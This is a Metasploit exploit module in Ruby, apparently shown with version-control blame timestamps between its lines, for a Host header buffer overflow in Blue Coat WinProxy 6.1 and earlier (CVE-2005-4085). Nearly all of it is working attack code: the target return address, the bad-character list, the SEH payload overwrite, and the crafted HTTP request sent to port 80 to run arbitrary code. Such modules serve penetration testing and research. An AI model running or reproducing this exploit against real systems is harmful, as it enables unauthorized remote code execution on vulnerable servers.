2006-01-08 06:26:30 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Proxy::Bluecoat_WinProxy_Host < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
include Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
Remote exploitation of a buffer overflow vulnerability
|
|
|
|
in Blue Coat Systems Inc.'s WinProxy allows for the
|
|
|
|
remote execution of arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2006-05-06 16:43:45 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2006-01-08 06:26:30 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-01-27 05:00:35 +00:00
|
|
|
'References' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
['CVE', '2005-4085'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
2006-01-08 10:38:35 +00:00
|
|
|
'Targets' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
|
|
|
|
],
|
|
|
|
|
|
|
|
'Privileged' => true,
|
|
|
|
|
|
|
|
'DisclosureDate' => 'January 5 2005',
|
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2006-01-27 05:00:35 +00:00
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self)
|
2006-01-08 06:26:30 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sploit = "GET / HTTP/1.1" + "\r\n"
|
|
|
|
sploit += "Host: 127.0.0.1:"
|
|
|
|
sploit += Rex::Text.rand_text_english(31, payload_badchars)
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[23, seh.length] = seh
|
|
|
|
sploit += "\r\n\r\n"
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
sock.get_once(-1, 3)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|